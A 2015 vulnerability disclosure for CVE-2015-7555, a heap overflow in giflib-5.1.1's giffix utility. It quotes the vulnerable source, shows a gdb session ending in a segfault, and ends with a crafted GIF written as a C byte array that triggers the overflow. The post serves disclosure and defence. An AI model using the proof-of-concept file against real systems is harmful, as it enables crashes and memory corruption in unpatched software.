giflib: heap overflow in giffix (CVE-2015-7555) Dec 21 2015 01:56PM
Hans Jerry Illikainen (hji dyntopia com)

About
=====

giflib[1] is a library for working with GIF images. It also provides
several command-line utilities.

CVE-2015-7555
=============

A heap overflow may occur in the giffix utility included in giflib-5.1.1
when processing records of the type `IMAGE_DESC_RECORD_TYPE' due to the
allocated size of `LineBuffer' equaling the value of the logical screen
width, `GifFileIn->SWidth', while subsequently having
`GifFileIn->Image.Width' bytes of data written to it.

giflib-5.1.1/util/giffix.c #35..194:
,----
| int main(int argc, char **argv)
| {
| [...]
| if ((LineBuffer = (GifRowType) malloc(GifFileIn->SWidth)) == NULL)
| GIF_EXIT("Failed to allocate memory required, aborted.");
|
| /* Scan the content of the GIF file and load the image(s) in: */
| do {
| [...]
| switch (RecordType) {
| case IMAGE_DESC_RECORD_TYPE:
| if (DGifGetImageDesc(GifFileIn) == GIF_ERROR)
| QuitGifError(GifFileIn, GifFileOut);
| [...]
| Width = GifFileIn->Image.Width;
| Height = GifFileIn->Image.Height;
| [...]
| /* Find the darkest color in color map to use as a filler. */
| ColorMap = (GifFileIn->Image.ColorMap ? GifFileIn->Image.ColorMap :
| GifFileIn->SColorMap);
| for (i = 0; i < ColorMap->ColorCount; i++) {
| j = ((int) ColorMap->Colors[i].Red) * 30 +
| ((int) ColorMap->Colors[i].Green) * 59 +
| ((int) ColorMap->Colors[i].Blue) * 11;
| if (j < ColorIntens) {
| ColorIntens = j;
| DarkestColor = i;
| }
| }
|
| /* Load the image, and dump it. */
| for (i = 0; i < Height; i++) {
| GifQprintf("\b\b\b\b%-4d", i);
| if (DGifGetLine(GifFileIn, LineBuffer, Width)
| == GIF_ERROR) break;
| if (EGifPutLine(GifFileOut, LineBuffer, Width)
| == GIF_ERROR) QuitGifError(GifFileIn, GifFileOut);
| }
|
| if (i < Height) {
| [...]
| /* Fill in with the darkest color in color map. */
| for (j = 0; j < Width; j++)
| LineBuffer[j] = DarkestColor;
| for (; i < Height; i++)
| if (EGifPutLine(GifFileOut, LineBuffer, Width)
| == GIF_ERROR) QuitGifError(GifFileIn, GifFileOut);
| }
| break;
| [...]
| }
| }
| while (RecordType != TERMINATE_RECORD_TYPE);
| [...]
| }
`----

,----
| $ gdb -q --args ./giffix heap.gif
| Reading symbols from ./giffix...done.
| (gdb) b util/giffix.c:94
| Breakpoint 1 at 0x401131: file giffix.c, line 94.
| (gdb) b util/giffix.c:148
| Breakpoint 2 at 0x401449: file giffix.c, line 148.
| (gdb) b util/giffix.c:149
| Breakpoint 3 at 0x401452: file giffix.c, line 149.
|
| (gdb) commands 3
| Type commands for breakpoint(s) 3, one per line.
| End with a line saying just "end".
| >printf "%p, 0x%02x\n", LineBuffer+j, DarkestColor
| >c
| >end
|
| (gdb) r
| [...]
| Breakpoint 1, main (argc=2, argv=0x7fffffffe6b8) at giffix.c:94
| 94 if ((LineBuffer = (GifRowType) malloc(GifFileIn->SWidth)) == NULL)
|
| (gdb) p GifFileIn->SWidth
| $1 = 1
|
| (gdb) c
| [...]
| Breakpoint 2, main (argc=2, argv=0x7fffffffe6b8) at giffix.c:148
| 148 for (j = 0; j < Width; j++)
|
| (gdb) p Width
| $2 = 255
|
| (gdb) c
| Continuing.
|
| Breakpoint 3, main (argc=2, argv=0x7fffffffe6b8) at giffix.c:149
| 149 LineBuffer[j] = DarkestColor;
| 0x618920, 0x01
|
| [...]
|
| Breakpoint 3, main (argc=2, argv=0x7fffffffe6b8) at giffix.c:149
| 149 LineBuffer[j] = DarkestColor;
| 0x618940, 0x01
|
| [...]
|
| Breakpoint 3, main (argc=2, argv=0x7fffffffe6b8) at giffix.c:149
| 149 LineBuffer[j] = DarkestColor;
| 0x618a1e, 0x01
|
| Program received signal SIGSEGV, Segmentation fault.
| 0x00007ffff7bd8658 in GifFreeMapObject (Object=0x101010101010101) at gifalloc.c:80
| 80 (void)free(Object->Colors);
`----

heap.gif:
,----
| unsigned char heap[] = {
| /* GIF87a */
| 0x47, 0x49, 0x46, 0x38, 0x37, 0x61,
|
| /* DGifGetScreenDesc() */
| 0x01, 0x00, /* GifFile->SWidth */
| 0x01, 0x00, /* GifFile->SHeight */
| 0x80, /* ColorCount = 1 << ((this & 0x07) + 1) */
| 0x00, /* GifFile->SBackGroundColor */
| 0x00, /* GifFile->AspectByte */
| 0x11, 0x11, 0x11, /* GifFile->SColorMap->Colors[0] */
| 0x00, 0x00, 0x00, /* GifFile->SColorMap->Colors[1] */
|
| /* DGifGetRecordType() */
| 0x2c, /* DESCRIPTOR_INTRODUCER */
|
| /* DGifGetImageDesc() */
| 0x00, 0x00, /* GifFile->Image.Left */
| 0x00, 0x00, /* GifFile->Image.Top */
| 0xff, 0x00, /* GifFile->Image.Width */
| 0x01, 0x00, /* GifFile->Image.Height */
| 0x00, /* BitsPerPixel = (this & 0x07) + 1 */
|
| /* DGifSetupDecompress() */
| 0x00, /* CodeSize */
|
| /* end of image data */
| 0x00,
|
| /* end of gif */
| 0x3b
| };
`----

Solution
========

No fix exists as of yet.

Footnotes
_________

[1] [http://giflib.sourceforge.net/]

Hans Jerry Illikainen

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